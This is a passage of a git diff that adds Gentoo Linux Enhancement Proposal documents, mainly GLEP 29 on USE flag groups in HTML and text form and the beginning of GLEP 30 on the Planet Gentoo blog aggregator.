+If a Draft GLEP is inactive for more than 60 days or an Accepted GLEP is
+inactive for more than six months, then it would be marked as "deferred" on
+the main `GLEP page`_.  Inactivity is defined simply as the GLEP author has
+not contacted the GLEP editors with either an update or a request to submit
+the GLEP for approval (in the case of a Draft GLEP) or a request that the GLEP
+be marked final (in the case of an Accepted GLEP).
+
+.. _GLEP page: http://glep.gentoo.org 
+
+A GLEP that has been marked "deferred" may be reopened by request of the GLEP
+author or a Gentoo manager, as long as that request also includes either an
+update or a note submitting the GLEP for approval or finalization.
+
+Rationale
+=========
+
+The GLEP editors have better things to do than chase after GLEP authors to
+find out how their GLEPs are progressing.  This GLEP should help.
+
+
+Backwards Compatibility
+=======================
+
+Not really an issue here.
+
+
+Copyright
+=========
+
+This document has been placed in the public domain.
diff --git a/xml/htdocs/proj/en/glep/glep-0029.html b/xml/htdocs/proj/en/glep/glep-0029.html
new file mode 100644
index 00000000..f617a1e6
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0029.html
@@ -0,0 +1,303 @@
+<?xml version="1.0" encoding="utf-8" ?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+
+<head>
+  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+  <meta name="generator" content="Docutils 0.4: http://docutils.sourceforge.net/" />
+  <title>GLEP 29 -- USE flag groups</title>
+  <link rel="stylesheet" href="tools/glep.css" type="text/css" />
+</head>
+<body bgcolor="white">
+<table class="navigation" cellpadding="0" cellspacing="0"
+       width="100%" border="0">
+<tr><td class="navicon" width="150" height="35">
+<a href="http://www.gentoo.org/" title="Gentoo Linux Home Page">
+<img src="http://www.gentoo.org/images/gentoo-new.gif" alt="[Gentoo]"
+ border="0" width="150" height="35" /></a></td>
+<td class="textlinks" align="left">
+[<b><a href="http://www.gentoo.org/">Gentoo Linux Home</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep">GLEP Index</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep/glep-0029.txt">GLEP Source</a></b>]
+</td></tr></table>
+<table class="rfc2822 docutils field-list" frame="void" rules="none">
+<col class="field-name" />
+<col class="field-body" />
+<tbody valign="top">
+<tr class="field"><th class="field-name">GLEP:</th><td class="field-body">29</td>
+</tr>
+<tr class="field"><th class="field-name">Title:</th><td class="field-body">USE flag groups</td>
+</tr>
+<tr class="field"><th class="field-name">Version:</th><td class="field-body">1.6</td>
+</tr>
+<tr class="field"><th class="field-name">Author:</th><td class="field-body">Ciaran McCreesh &lt;ciaranm&#32;&#97;t&#32;gentoo.org&gt;</td>
+</tr>
+<tr class="field"><th class="field-name">Last-Modified:</th><td class="field-body"><a class="reference" href="http://www.gentoo.org/cgi-bin/viewcvs.cgi/xml/htdocs/proj/en/glep/glep-0029.txt?cvsroot=gentoo">2005/11/07 22:26:59</a></td>
+</tr>
+<tr class="field"><th class="field-name">Status:</th><td class="field-body">Draft</td>
+</tr>
+<tr class="field"><th class="field-name">Type:</th><td class="field-body">Standards Track</td>
+</tr>
+<tr class="field"><th class="field-name">Content-Type:</th><td class="field-body"><a class="reference" href="glep-0002.html">text/x-rst</a></td>
+</tr>
+<tr class="field"><th class="field-name">Created:</th><td class="field-body">19-Aug-2004</td>
+</tr>
+<tr class="field"><th class="field-name">Post-History:</th><td class="field-body">21-Aug-2004, 18-Oct-2004, 25-Oct-2004, 24-Jul-2005</td>
+</tr>
+</tbody>
+</table>
+<hr />
+<div class="contents topic">
+<p class="topic-title first"><a id="contents" name="contents">Contents</a></p>
+<ul class="simple">
+<li><a class="reference" href="#status" id="id7" name="id7">Status</a></li>
+<li><a class="reference" href="#abstract" id="id8" name="id8">Abstract</a></li>
+<li><a class="reference" href="#motivation" id="id9" name="id9">Motivation</a></li>
+<li><a class="reference" href="#specification" id="id10" name="id10">Specification</a><ul>
+<li><a class="reference" href="#group-specification" id="id11" name="id11">Group Specification</a></li>
+<li><a class="reference" href="#group-descriptions" id="id12" name="id12">Group Descriptions</a></li>
+<li><a class="reference" href="#using-groups" id="id13" name="id13">Using Groups</a></li>
+<li><a class="reference" href="#issues-with-flags-and-groups" id="id14" name="id14">Issues with -flags and -&#64;GROUPS</a></li>
+<li><a class="reference" href="#adding-new-groups" id="id15" name="id15">Adding New Groups</a></li>
+</ul>
+</li>
+<li><a class="reference" href="#rationale" id="id16" name="id16">Rationale</a></li>
+<li><a class="reference" href="#reference-implementation" id="id17" name="id17">Reference Implementation</a></li>
+<li><a class="reference" href="#backwards-compatibility" id="id18" name="id18">Backwards Compatibility</a></li>
+<li><a class="reference" href="#references" id="id19" name="id19">References</a></li>
+<li><a class="reference" href="#copyright" id="id20" name="id20">Copyright</a></li>
+</ul>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id7" id="status" name="status">Status</a></h1>
+<p>Withdrawn by request of the author.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id8" id="abstract" name="abstract">Abstract</a></h1>
+<p>Currently, USE flags must be selected on a one-by-one basis, making it
+time-consuming to set up make.conf appropriately for a machine's role.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id9" id="motivation" name="motivation">Motivation</a></h1>
+<p>Many packages have optional support for other packages (for example, the
+Vim text editor can optionally support perl, python and ruby
+interpreters). In Gentoo, these optional dependencies can be selected by
+the user using USE flags. This allows a system appropriate for a given
+environment to be built -- a server, for example, should not typically
+have an X11 server or sound support, whereas both would be desirable on
+most desktop systems.</p>
+<p>With several hundred USE flags available, deciding upon which USE flags to
+enable and which to disable can take a long time. Although the default USE
+flag settings are reasonable, they are clearly not appropriate for every
+system. In addition, using &quot;-<em>&quot; to disable all default USE flags can be
+risky as certain USE flags should not generally be turned off.  This GLEP
+proposes a mechanism for grouping USE flags to simplify selection and to
+make USE=&quot;-</em>&quot; less dangerous.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id10" id="specification" name="specification">Specification</a></h1>
+<div class="section">
+<h2><a class="toc-backref" href="#id11" id="group-specification" name="group-specification">Group Specification</a></h2>
+<p>A group shall consist of one or more tokens. Each token may be a USE flag,
+a -USE flag, a reference to another group or a negative reference to
+another group.</p>
+<p>These groups are defined in <tt class="docutils literal"><span class="pre">${PORTDIR}/profiles/use.groups</span></tt>. It is
+proposed that uppercase names only are used for groups to keep them
+visually distinct from normal USE flags (almost all USE flags are
+lowercase), although this should not been forced programmatically. The
+file should be similar in format to the existing use.* files. In the
+following, <tt class="docutils literal"><span class="pre">SOME_GROUP</span></tt> and <tt class="docutils literal"><span class="pre">OTHER_GROUP</span></tt> are group names, and
+<tt class="docutils literal"><span class="pre">flag1</span></tt> through <tt class="docutils literal"><span class="pre">flag5</span></tt> are USE flag names:</p>
+<pre class="literal-block">
+SOME_GROUP flag1 flag2 flag3
+OTHER_GROUP flag2 flag4
+</pre>
+<p>Groups may recursively include other groups. For consistency with GLEP 23
+<a class="footnote-reference" href="#id4" id="id1" name="id1">[1]</a>, it is proposed that group names have their name prefixed with an
+'at' symbol (&#64;):</p>
+<pre class="literal-block">
+GROUP1 flag1
+GROUP2 flag2 flag3 &#64;GROUP1
+GROUP3 flag4
+GROUP4 &#64;GROUP2 &#64;GROUP3 flag5
+</pre>
+<p>The same flag may end up being in a particular group more than once:</p>
+<pre class="literal-block">
+GROUP1 flag1 flag2
+GROUP2 flag2 flag3
+GROUP3 &#64;GROUP1 &#64;GROUP2 flag3 flag4
+</pre>
+<p>As with similar files, comments may be included. Lines which begin with a
+hash symbol (#) are comments.</p>
+<pre class="literal-block">
+# This is a comment
+FOO bar baz fnord
+</pre>
+<p>Users may create their own groups using <tt class="docutils literal"><span class="pre">/etc/portage/use.groups</span></tt>. This
+file overrides the profile settings in the case of duplicates.</p>
+<p>It should be legal for groups to specify -use flags, although for reasons
+discussed below this feature should not generally be used. The syntax is
+the same:</p>
+<pre class="literal-block">
+# This group contains two negative flags
+GROUP1 flag1 -flag2 -flag3 flag4
+</pre>
+<p>Groups may <em>not</em> contain circular group references. The following example
+is illegal:</p>
+<pre class="literal-block">
+# Illegal circular references
+GROUP1 &#64;GROUP2 foo
+GROUP2 &#64;GROUP1 bar
+</pre>
+</div>
+<div class="section">
+<h2><a class="toc-backref" href="#id12" id="group-descriptions" name="group-descriptions">Group Descriptions</a></h2>
+<p>Groups shall have a textual description associated with them in the same
+way as USE flags. The file <tt class="docutils literal"><span class="pre">${PORTDIR}/profiles/use.groups.desc</span></tt>
+contains these:</p>
+<pre class="literal-block">
+# This is a comment
+DESKTOP Flags which are appropriate for most desktop systems
+RECOMMENDED Flags which should be enabled on almost all systems
+</pre>
+</div>
+<div class="section">
+<h2><a class="toc-backref" href="#id13" id="using-groups" name="using-groups">Using Groups</a></h2>
+<p>Groups may be used in <tt class="docutils literal"><span class="pre">/etc/make.conf</span></tt>, <tt class="docutils literal"><span class="pre">/etc/portage/package.use</span></tt> and
+other places where USE flags are normally specified. They may <em>not</em> be
+used inside <tt class="docutils literal"><span class="pre">IUSE`.</span> <span class="pre">As</span> <span class="pre">before,</span> <span class="pre">the</span> <span class="pre">&#64;</span> <span class="pre">symbol</span> <span class="pre">is</span> <span class="pre">used</span> <span class="pre">to</span> <span class="pre">indicate</span> <span class="pre">that</span> <span class="pre">a</span>
+<span class="pre">group</span> <span class="pre">is</span> <span class="pre">being</span> <span class="pre">referenced.</span> <span class="pre">For</span> <span class="pre">example,</span> <span class="pre">a</span> <span class="pre">``make.conf</span></tt> for a KDE desktop
+system might resemble:</p>
+<pre class="literal-block">
+USE=&quot;&#64;DESKTOP &#64;KDE perl alsa dvd&quot;
+</pre>
+<p>Groups may be preceded by a -sign to invert their contents (that is, all
+'enable' use flags become -flags, and all -flags become enable flags). Be
+warned that this feature can cause confusion (see below). Example usage:</p>
+<pre class="literal-block">
+# We have the following groups defined...
+GROUP1 foo bar
+GROUP2 -bar baz -fnord
+GROUP3 &#64;GROUP1 -&#64;GROUP2 -bar foo
+GROUP4 -foo -bar
+
+# And the following...
+USE=&quot;-&#64;GROUP3 &#64;GROUP4 bar&quot;
+
+# which resolves to...
+USE=&quot;-&#64;GROUP1 &#64;GROUP2 bar -foo -foo -bar bar&quot;
+USE=&quot;-foo -bar bar -baz fnord bar -foo -foo -bar bar&quot;
+USE=&quot;-baz fnord -foo bar&quot;
+</pre>
+</div>
+<div class="section">
+<h2><a id="issues-with-flags-and-groups" name="issues-with-flags-and-groups">Issues with -flags and <a class="reference" href="mailto:-&#64;GROUPS">-&#64;GROUPS</a></a></h2>
+<p>Earlier drafts of this GLEP did not allow -use flags or <a class="reference" href="mailto:-&#64;GROUPS">-&#64;GROUPS</a>. However,
+because of feedback along the lines of &quot;we shouldn't disallow features
+just because some users won't understand them&quot; (for example, <a class="footnote-reference" href="#id6" id="id2" name="id2">[3]</a>), these
+are now allowed but discouraged.</p>
+<p>The problems are best illustrated by example. Say we have the following
+groups defined:</p>
+<pre class="literal-block">
+KDE X kde qt
+GNOME X gtk gtk2 gnome
+</pre>
+<p>A user who wants a KDE desktop but no GNOME may do the following:</p>
+<pre class="literal-block">
+USE=&quot;&#64;KDE -&#64;GNOME&quot;
+</pre>
+<p>However, this will not give the desired effect -- the <tt class="docutils literal"><span class="pre">X</span></tt> USE flag will
+end up being disabled.</p>
+<p>Similarly, -use flags could cause a lot of confusion if misused. If, for
+example, the KDE group turned off GNOME things and the GNOME group turned
+off KDE things:</p>
+<pre class="literal-block">
+KDE X kde qt -gtk -gnome
+GNOME X gtk gtk2 gnome -kde -qt
+</pre>
+<p>And a user wished to use both KDE and GNOME on a system, and so had USE
+flags as follows:</p>
+<pre class="literal-block">
+USE=&quot;&#64;KDE &#64;GNOME&quot;
+</pre>
+<p>They would end up with:</p>
+<pre class="literal-block">
+USE=&quot;X kde qt -gtk -gnome X gtk gtk2 gnome -kde -qt&quot;
+</pre>
+<p>Which simplifies:</p>
+<pre class="literal-block">
+USE=&quot;X gtk gtk2 gnome -kde -qt&quot;
+</pre>
+<p>This is clearly not the desired effect.</p>
+</div>
+<div class="section">
+<h2><a class="toc-backref" href="#id15" id="adding-new-groups" name="adding-new-groups">Adding New Groups</a></h2>
+<p>The actual groups to be created is beyond the scope of this GLEP, and any
+group names contained herein should be treated as examples only. Creation
+of new groups and changing a group's flags should be discussed on the
+gentoo-dev mailing list as per existing policy for new global USE flags.</p>
+<p>In particular, any changes involving -flags <em>must</em> be thoroughly discussed
+before implementation.</p>
+</div>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id16" id="rationale" name="rationale">Rationale</a></h1>
+<p>USE groups will simplify selecting an appropriate set of USE flags for a
+system.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id17" id="reference-implementation" name="reference-implementation">Reference Implementation</a></h1>
+<p>TODO</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id18" id="backwards-compatibility" name="backwards-compatibility">Backwards Compatibility</a></h1>
+<p>The user will not need to make any changes to keep their current setup.
+Users who are not running a portage version which supports groups can
+carry on using current syntax with no side-effects.</p>
+<p>Some tools which work with make.conf and / or USE flags (for example,
+<tt class="docutils literal"><span class="pre">ufed</span></tt>) will need to be updated to understand the new group syntax.</p>
+<p>There is currently a dynamic list of USE flags available on the Gentoo
+website <a class="footnote-reference" href="#id5" id="id3" name="id3">[2]</a>. For consistency, a similar list will be needed for USE
+groups.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id19" id="references" name="references">References</a></h1>
+<table class="docutils footnote" frame="void" id="id4" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id1" name="id4">[1]</a></td><td>GLEP 23: Portage handling of ACCEPT_LICENSE
+(<a class="reference" href="http://www.gentoo.org/proj/en/glep/glep-0023.html">http://www.gentoo.org/proj/en/glep/glep-0023.html</a>)</td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="id5" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id3" name="id5">[2]</a></td><td><a class="reference" href="http://www.gentoo.org/dyn/use-index.xml">http://www.gentoo.org/dyn/use-index.xml</a></td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="id6" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id2" name="id6">[3]</a></td><td>GLEP 29 discussion on the gentoo-dev mailing list
+(<a class="reference" href="http://marc.theaimsgroup.com/?l=gentoo-dev&amp;m=109813990013812">http://marc.theaimsgroup.com/?l=gentoo-dev&amp;m=109813990013812</a>)</td></tr>
+</tbody>
+</table>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id20" id="copyright" name="copyright">Copyright</a></h1>
+<p>This document has been placed in the public domain.</p>
+<blockquote>
+vim: set tw=74 :</blockquote>
+</div>
+
+</div>
+<div class="footer">
+<hr class="footer" />
+<a class="reference" href="glep-0029.txt">View document source</a>.
+Generated on: 2007-10-13 13:39 UTC.
+Generated by <a class="reference" href="http://docutils.sourceforge.net/">Docutils</a> from <a class="reference" href="http://docutils.sourceforge.net/rst.html">reStructuredText</a> source.
+
+</div>
+</body>
+</html>
+
diff --git a/xml/htdocs/proj/en/glep/glep-0029.txt b/xml/htdocs/proj/en/glep/glep-0029.txt
new file mode 100644
index 00000000..e2326717
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0029.txt
@@ -0,0 +1,266 @@
+GLEP: 29
+Title: USE flag groups
+Version: $Revision: 1.6 $
+Author: Ciaran McCreesh <ciaranm@gentoo.org>
+Last-Modified: $Date: 2005/11/07 22:26:59 $
+Status: Draft
+Type: Standards Track
+Content-Type: text/x-rst
+Created: 19-Aug-2004
+Post-History: 21-Aug-2004, 18-Oct-2004, 25-Oct-2004, 24-Jul-2005
+
+Status
+======
+
+Withdrawn by request of the author.
+
+Abstract
+========
+
+Currently, USE flags must be selected on a one-by-one basis, making it
+time-consuming to set up make.conf appropriately for a machine's role.
+
+Motivation
+==========
+
+Many packages have optional support for other packages (for example, the
+Vim text editor can optionally support perl, python and ruby
+interpreters). In Gentoo, these optional dependencies can be selected by
+the user using USE flags. This allows a system appropriate for a given
+environment to be built -- a server, for example, should not typically
+have an X11 server or sound support, whereas both would be desirable on
+most desktop systems.
+
+With several hundred USE flags available, deciding upon which USE flags to
+enable and which to disable can take a long time. Although the default USE
+flag settings are reasonable, they are clearly not appropriate for every
+system. In addition, using "-*" to disable all default USE flags can be
+risky as certain USE flags should not generally be turned off.  This GLEP
+proposes a mechanism for grouping USE flags to simplify selection and to
+make USE="-*" less dangerous.
+
+Specification
+=============
+
+Group Specification
+-------------------
+
+A group shall consist of one or more tokens. Each token may be a USE flag,
+a -USE flag, a reference to another group or a negative reference to
+another group.
+
+These groups are defined in ``${PORTDIR}/profiles/use.groups``. It is
+proposed that uppercase names only are used for groups to keep them
+visually distinct from normal USE flags (almost all USE flags are
+lowercase), although this should not been forced programmatically. The
+file should be similar in format to the existing use.* files. In the
+following, ``SOME_GROUP`` and ``OTHER_GROUP`` are group names, and
+``flag1`` through ``flag5`` are USE flag names:
+
+::
+
+	SOME_GROUP flag1 flag2 flag3
+	OTHER_GROUP flag2 flag4
+
+Groups may recursively include other groups. For consistency with GLEP 23
+[1]_, it is proposed that group names have their name prefixed with an
+'at' symbol (@):
+
+::
+
+	GROUP1 flag1
+	GROUP2 flag2 flag3 @GROUP1
+	GROUP3 flag4
+	GROUP4 @GROUP2 @GROUP3 flag5
+
+The same flag may end up being in a particular group more than once:
+
+::
+
+	GROUP1 flag1 flag2
+	GROUP2 flag2 flag3
+	GROUP3 @GROUP1 @GROUP2 flag3 flag4
+
+As with similar files, comments may be included. Lines which begin with a
+hash symbol (#) are comments.
+
+::
+
+	# This is a comment
+	FOO bar baz fnord
+
+Users may create their own groups using ``/etc/portage/use.groups``. This
+file overrides the profile settings in the case of duplicates.
+
+It should be legal for groups to specify -use flags, although for reasons
+discussed below this feature should not generally be used. The syntax is
+the same:
+
+::
+
+	# This group contains two negative flags
+	GROUP1 flag1 -flag2 -flag3 flag4
+
+Groups may *not* contain circular group references. The following example
+is illegal:
+
+::
+
+	# Illegal circular references
+	GROUP1 @GROUP2 foo
+	GROUP2 @GROUP1 bar
+
+Group Descriptions
+------------------
+
+Groups shall have a textual description associated with them in the same
+way as USE flags. The file ``${PORTDIR}/profiles/use.groups.desc``
+contains these:
+
+::
+
+	# This is a comment
+	DESKTOP Flags which are appropriate for most desktop systems
+	RECOMMENDED Flags which should be enabled on almost all systems
+
+
+Using Groups
+------------
+
+Groups may be used in ``/etc/make.conf``, ``/etc/portage/package.use`` and
+other places where USE flags are normally specified. They may *not* be
+used inside ``IUSE`. As before, the @ symbol is used to indicate that a
+group is being referenced. For example, a ``make.conf`` for a KDE desktop
+system might resemble:
+
+::
+
+	USE="@DESKTOP @KDE perl alsa dvd"
+
+Groups may be preceded by a -sign to invert their contents (that is, all
+'enable' use flags become -flags, and all -flags become enable flags). Be
+warned that this feature can cause confusion (see below). Example usage:
+
+::
+
+	# We have the following groups defined...
+	GROUP1 foo bar
+	GROUP2 -bar baz -fnord
+	GROUP3 @GROUP1 -@GROUP2 -bar foo
+	GROUP4 -foo -bar
+
+	# And the following...
+	USE="-@GROUP3 @GROUP4 bar"
+
+	# which resolves to...
+	USE="-@GROUP1 @GROUP2 bar -foo -foo -bar bar"
+	USE="-foo -bar bar -baz fnord bar -foo -foo -bar bar"
+	USE="-baz fnord -foo bar"
+
+
+Issues with -flags and -@GROUPS
+-------------------------------
+
+Earlier drafts of this GLEP did not allow -use flags or -@GROUPS. However,
+because of feedback along the lines of "we shouldn't disallow features
+just because some users won't understand them" (for example, [3]_), these
+are now allowed but discouraged.
+
+The problems are best illustrated by example. Say we have the following
+groups defined:
+
+::
+
+	KDE X kde qt
+	GNOME X gtk gtk2 gnome
+
+A user who wants a KDE desktop but no GNOME may do the following:
+
+::
+
+	USE="@KDE -@GNOME"
+
+However, this will not give the desired effect -- the ``X`` USE flag will
+end up being disabled.
+
+Similarly, -use flags could cause a lot of confusion if misused. If, for
+example, the KDE group turned off GNOME things and the GNOME group turned
+off KDE things:
+
+::
+
+	KDE X kde qt -gtk -gnome
+	GNOME X gtk gtk2 gnome -kde -qt
+
+And a user wished to use both KDE and GNOME on a system, and so had USE
+flags as follows:
+
+::
+
+	USE="@KDE @GNOME"
+
+They would end up with:
+
+::
+
+	USE="X kde qt -gtk -gnome X gtk gtk2 gnome -kde -qt"
+
+Which simplifies:
+
+::
+
+	USE="X gtk gtk2 gnome -kde -qt"
+
+This is clearly not the desired effect.
+
+Adding New Groups
+-----------------
+
+The actual groups to be created is beyond the scope of this GLEP, and any
+group names contained herein should be treated as examples only. Creation
+of new groups and changing a group's flags should be discussed on the
+gentoo-dev mailing list as per existing policy for new global USE flags.
+
+In particular, any changes involving -flags *must* be thoroughly discussed
+before implementation.
+
+Rationale
+=========
+
+USE groups will simplify selecting an appropriate set of USE flags for a
+system.
+
+Reference Implementation
+========================
+
+TODO
+
+Backwards Compatibility
+=======================
+
+The user will not need to make any changes to keep their current setup.
+Users who are not running a portage version which supports groups can
+carry on using current syntax with no side-effects.
+
+Some tools which work with make.conf and / or USE flags (for example,
+``ufed``) will need to be updated to understand the new group syntax.
+
+There is currently a dynamic list of USE flags available on the Gentoo
+website [2]_. For consistency, a similar list will be needed for USE
+groups.
+
+References
+==========
+
+.. [1] GLEP 23: Portage handling of ACCEPT_LICENSE
+       (http://www.gentoo.org/proj/en/glep/glep-0023.html)
+.. [2] http://www.gentoo.org/dyn/use-index.xml
+.. [3] GLEP 29 discussion on the gentoo-dev mailing list
+       (http://marc.theaimsgroup.com/?l=gentoo-dev&m=109813990013812)
+
+Copyright
+=========
+
+This document has been placed in the public domain.
+
+ vim: set tw=74 :
diff --git a/xml/htdocs/proj/en/glep/glep-0030.html b/xml/htdocs/proj/en/glep/glep-0030.html
new file mode 100644
index 00000000..3dbd2f12
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0030.html
@@ -0,0 +1,251 @@
+<?xml version="1.0" encoding="utf-8" ?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+
+<head>
+  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+  <meta name="generator" content="Docutils 0.6: http://docutils.sourceforge.net/" />
+  <title>GLEP 30 -- "Planet Gentoo" web log aggregator</title>
+  <link rel="stylesheet" href="tools/glep.css" type="text/css" /></head>
+<body bgcolor="white">
+<table class="navigation" cellpadding="0" cellspacing="0"
+       width="100%" border="0">
+<tr><td class="navicon" width="150" height="35">
+<a href="http://www.gentoo.org/" title="Gentoo Linux Home Page">
+<img src="http://www.gentoo.org/images/gentoo-new.gif" alt="[Gentoo]"
+ border="0" width="150" height="35" /></a></td>
+<td class="textlinks" align="left">
+[<b><a href="http://www.gentoo.org/">Gentoo Linux Home</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep">GLEP Index</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep/glep-0030.txt">GLEP Source</a></b>]
+</td></tr></table>
+<table class="rfc2822 docutils field-list" frame="void" rules="none">
+<col class="field-name" />
+<col class="field-body" />
+<tbody valign="top">
+<tr class="field"><th class="field-name">GLEP:</th><td class="field-body">30</td>
+</tr>
+<tr class="field"><th class="field-name">Title:</th><td class="field-body">&quot;Planet Gentoo&quot; web log aggregator</td>
+</tr>
+<tr class="field"><th class="field-name">Version:</th><td class="field-body">1.5</td>
+</tr>
+<tr class="field"><th class="field-name">Last-Modified:</th><td class="field-body"><a class="reference external" href="http://www.gentoo.org/cgi-bin/viewcvs.cgi/xml/htdocs/proj/en/glep/glep-0030.txt?cvsroot=gentoo">2007/11/28 20:22:14</a></td>
+</tr>
+<tr class="field"><th class="field-name">Author:</th><td class="field-body">Daniel Drake &lt;dsd&#32;&#97;t&#32;gentoo.org&gt;</td>
+</tr>
+<tr class="field"><th class="field-name">Status:</th><td class="field-body">Final</td>
+</tr>
+<tr class="field"><th class="field-name">Type:</th><td class="field-body">Standards Track</td>
+</tr>
+<tr class="field"><th class="field-name">Content-Type:</th><td class="field-body"><a class="reference external" href="glep-0002.html">text/x-rst</a></td>
+</tr>
+<tr class="field"><th class="field-name">Created:</th><td class="field-body">24-Oct-2004</td>
+</tr>
+<tr class="field"><th class="field-name">Post-History:</th><td class="field-body">25-Oct-2004, 10-Nov-2004, 11-Mar-2005</td>
+</tr>
+</tbody>
+</table>
+<hr />
+<div class="contents topic" id="contents">
+<p class="topic-title first">Contents</p>
+<ul class="simple">
+<li><a class="reference internal" href="#status" id="id21">Status</a></li>
+<li><a class="reference internal" href="#credits" id="id22">Credits</a></li>
+<li><a class="reference internal" href="#abstract" id="id23">Abstract</a></li>
+<li><a class="reference internal" href="#motivation" id="id24">Motivation</a></li>
+<li><a class="reference internal" href="#specification" id="id25">Specification</a></li>
+<li><a class="reference internal" href="#rationale" id="id26">Rationale</a></li>
+<li><a class="reference internal" href="#backwards-compatibility" id="id27">Backwards Compatibility</a></li>
+<li><a class="reference internal" href="#reference-implementation" id="id28">Reference Implementation</a></li>
+<li><a class="reference internal" href="#references" id="id29">References</a></li>
+<li><a class="reference internal" href="#copyright" id="id30">Copyright</a></li>
+</ul>
+</div>
+<div class="section" id="status">
+<h1><a class="toc-backref" href="#id21">Status</a></h1>
+<p>The new <a class="reference external" href="http://planet.gentoo.org/">Planet Gentoo</a> <a class="footnote-reference" href="#id1" id="id2">[1]</a> came online 10-Mar-2005, so this GLEP is now Final.</p>
+</div>
+<div class="section" id="credits">
+<h1><a class="toc-backref" href="#id22">Credits</a></h1>
+<ul class="simple">
+<li><a class="reference external" href="mailto:stuart&#64;gentoo.org">Stuart Herbert</a> <a class="footnote-reference" href="#id3" id="id4">[2]</a> for the original idea</li>
+<li><a class="reference external" href="mailto:alexander&#64;gentoo.org">Alexander Plank</a> <a class="footnote-reference" href="#id5" id="id6">[3]</a> who also has put effort into promoting this</li>
+</ul>
+</div>
+<div class="section" id="abstract">
+<h1><a class="toc-backref" href="#id23">Abstract</a></h1>
+<p>This GLEP proposes the creation of &quot;Planet Gentoo&quot;, a new section of the
+gentoo.org website.  It would aggregate weblogs (commonly known as &quot;blogs&quot;)
+written by contributing Gentoo developers onto this single page, available to
+the public.  I will refer to this new website section as &quot;the planet&quot; in this
+GLEP.
+We would also provide an installation of a weblog engine for developers that
+do not currently have their own weblog.</p>
+</div>
+<div class="section" id="motivation">
+<h1><a class="toc-backref" href="#id24">Motivation</a></h1>
+<p>I'm trying to reduce the gap between the Gentoo user and development
+communities.</p>
+<p>Many large open source projects and software distributors have their own
+Planet where contributors weblogs are aggregated.  See the <a class="reference external" href="http://www.planetplanet.org">Planetplanet</a> <a class="footnote-reference" href="#id8" id="id9">[4]</a>
+homepage for a complete listing.  These other aggregations appear to be
+successful and bring their relevant communities together.</p>
+<p>These aggregations are often quite interesting to read, since they contain a
+variation of topics, not all of which are related to the project.</p>
+<p>The planet would add another method of user interaction with developers, as
+most weblogs allow readers to post comments.</p>
+<p>Readers would get more interested in the Gentoo project, and would get a feel
+for the personalities of the contributing developers.  Although I am not
+suggesting this should be used as an announcement tool, developers could also
+use this to get general messages over to the user community.</p>
+<p>This would also benefit our development, as developers would also be able to
+keep track of what other developers are working on and promote more
+collaboration amongst each other.</p>
+</div>
+<div class="section" id="specification">
+<h1><a class="toc-backref" href="#id25">Specification</a></h1>
+<p>The proposed design is an installation of <a class="reference external" href="http://www.planetplanet.org">Planetplanet</a> <a class="footnote-reference" href="#id8" id="id10">[4]</a> at a part of the
+gentoo.org infrastructure, e.g. <a class="reference external" href="http://planet.gentoo.org">http://planet.gentoo.org</a></p>
+<p>We would also provide an installation of <a class="reference external" href="http://packages.gentoo.org/package/wordpress">Wordpress</a> <a class="footnote-reference" href="#id12" id="id13">[5]</a> or a similar weblogging
+engine, for developers that do not have their own weblog or would wish to
+move their log to an official Gentoo hosted website.  This could be provided
+at (e.g.) <a class="reference external" href="http://weblogs.gentoo.org">http://weblogs.gentoo.org</a></p>
+</div>
+<div class="section" id="rationale">
+<h1><a class="toc-backref" href="#id26">Rationale</a></h1>
+<p><a class="reference external" href="http://www.planetplanet.org">Planetplanet</a> <a class="footnote-reference" href="#id8" id="id11">[4]</a> is simply a weblog aggregator written in python.  It is
+executed as a cronjob and fetches content from all the weblogs it has been
+asked to, postprocesses and aggregates them into a single html file (based on
+a template), and outputs that html content to an area provided by a webserver.
+This should allow for ease of integration with any existing infrastructure.</p>
+<p>Planetplanet is configurable through a single configuration file, which lists
+the log feed URL, real name and user name for each contributing developer.</p>
+<p><a class="reference external" href="http://packages.gentoo.org/package/wordpress">Wordpress</a> <a class="footnote-reference" href="#id12" id="id14">[5]</a> is a weblogging engine written in PHP.  It relies on MySQL for
+the data store.  After the initial setup, all configuration is done through a
+web-based interface.</p>
+<p>A group of people would be assigned the responsibility/CVS access to maintain
+these two services.  I would suggest the existing infrastructure team to have
+this responsibility.  If required, I will assist with the initial
+configuration.</p>
+<p>The planetplanet installation would fetch and aggregate developers weblogs
+only, we would not accept non-developer logs.</p>
+<p>Developers do not have to host their weblogs with us, practically all blogging
+packages provide an XML feed (typically RSS) which planetplanet will happily
+fetch and process.  Other feed formats are also accepted, examine the
+planetplanet documentation for more info.
